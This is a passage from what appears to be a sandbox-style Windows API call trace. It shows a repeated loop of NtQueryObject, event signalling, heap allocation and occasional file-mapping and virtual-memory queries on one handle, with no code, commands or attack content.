ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.060] ResetEvent (hEvent=0x110) returned 1 [0072.060] SetEvent (hEvent=0x114) returned 1 [0072.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.060] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.060] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.060] ResetEvent (hEvent=0x110) returned 1 [0072.060] SetEvent (hEvent=0x114) returned 1 [0072.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.061] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.061] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.061] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.061] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.061] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.061] ResetEvent (hEvent=0x110) returned 1 [0072.061] SetEvent (hEvent=0x114) returned 1 [0072.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.061] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.061] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.061] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.061] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.062] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.062] ResetEvent (hEvent=0x110) returned 1 [0072.062] SetEvent (hEvent=0x114) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.062] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.062] ResetEvent (hEvent=0x110) returned 1 [0072.062] SetEvent (hEvent=0x114) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.062] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.062] ResetEvent (hEvent=0x110) returned 1 [0072.062] SetEvent (hEvent=0x114) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.063] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.063] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.063] ResetEvent (hEvent=0x110) returned 1 [0072.063] SetEvent (hEvent=0x114) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.063] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.063] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.063] ResetEvent (hEvent=0x110) returned 1 [0072.063] SetEvent (hEvent=0x114) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.063] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.064] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.064] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.064] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.064] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.064] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.064] ResetEvent (hEvent=0x110) returned 1 [0072.064] SetEvent (hEvent=0x114) returned 1 [0072.064] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.064] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.064] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.064] ResetEvent (hEvent=0x110) returned 1 [0072.064] SetEvent (hEvent=0x114) returned 1 [0072.064] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.065] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.065] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.065] ResetEvent (hEvent=0x110) returned 1 [0072.065] SetEvent (hEvent=0x114) returned 1 [0072.065] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.065] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.065] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.065] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.065] ResetEvent (hEvent=0x110) returned 1 [0072.065] SetEvent (hEvent=0x114) returned 1 [0072.065] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.065] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.065] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.065] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.065] ResetEvent (hEvent=0x110) returned 1 [0072.065] SetEvent (hEvent=0x114) returned 1 [0072.066] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.066] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.066] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.066] ResetEvent (hEvent=0x110) returned 1 [0072.066] SetEvent (hEvent=0x114) returned 1 [0072.066] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.066] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.066] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.066] ResetEvent (hEvent=0x110) returned 1 [0072.066] SetEvent (hEvent=0x114) returned 1 [0072.066] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.067] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.067] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.067] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.067] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.067] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.067] ResetEvent (hEvent=0x110) returned 1 [0072.067] SetEvent (hEvent=0x114) returned 1 [0072.067] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.067] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.067] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.067] ResetEvent (hEvent=0x110) returned 1 [0072.067] SetEvent (hEvent=0x114) returned 1 [0072.067] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.068] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.068] ResetEvent (hEvent=0x110) returned 1 [0072.068] SetEvent (hEvent=0x114) returned 1 [0072.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.068] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.068] ResetEvent (hEvent=0x110) returned 1 [0072.068] SetEvent (hEvent=0x114) returned 1 [0072.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.068] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.069] ResetEvent (hEvent=0x110) returned 1 [0072.069] SetEvent (hEvent=0x114) returned 1 [0072.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.069] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.069] ResetEvent (hEvent=0x110) returned 1 [0072.069] SetEvent (hEvent=0x114) returned 1 [0072.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.069] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.069] ResetEvent (hEvent=0x110) returned 1 [0072.069] SetEvent (hEvent=0x114) returned 1 [0072.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.070] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.070] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.070] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.070] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.070] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.070] ResetEvent (hEvent=0x110) returned 1 [0072.070] SetEvent (hEvent=0x114) returned 1 [0072.113] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.114] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.114] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.114] ResetEvent (hEvent=0x110) returned 1 [0072.114] SetEvent (hEvent=0x114) returned 1 [0072.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.114] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.114] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.114] ResetEvent (hEvent=0x110) returned 1 [0072.114] SetEvent (hEvent=0x114) returned 1 [0072.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.114] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.115] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.115] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.115] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.115] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.115] ResetEvent (hEvent=0x110) returned 1 [0072.115] SetEvent (hEvent=0x114) returned 1 [0072.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.115] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.115] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.115] ResetEvent (hEvent=0x110) returned 1 [0072.115] SetEvent (hEvent=0x114) returned 1 [0072.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.115] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.115] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.116] ResetEvent (hEvent=0x110) returned 1 [0072.116] SetEvent (hEvent=0x114) returned 1 [0072.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.116] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.116] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.116] ResetEvent (hEvent=0x110) returned 1 [0072.116] SetEvent (hEvent=0x114) returned 1 [0072.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.116] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.116] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.116] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.116] ResetEvent (hEvent=0x110) returned 1 [0072.116] SetEvent (hEvent=0x114) returned 1 [0072.116] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.116] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.117] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.117] ResetEvent (hEvent=0x110) returned 1 [0072.117] SetEvent (hEvent=0x114) returned 1 [0072.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.117] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.117] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.117] ResetEvent (hEvent=0x110) returned 1 [0072.117] SetEvent (hEvent=0x114) returned 1 [0072.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.117] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.117] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.117] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.117] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.117] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.117] ResetEvent (hEvent=0x110) returned 1 [0072.117] SetEvent (hEvent=0x114) returned 1 [0072.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.118] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.118] ResetEvent (hEvent=0x110) returned 1 [0072.118] SetEvent (hEvent=0x114) returned 1 [0072.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.118] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.118] ResetEvent (hEvent=0x110) returned 1 [0072.118] SetEvent (hEvent=0x114) returned 1 [0072.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.119] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.119] ResetEvent (hEvent=0x110) returned 1 [0072.119] SetEvent (hEvent=0x114) returned 1 [0072.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.119] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.119] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, 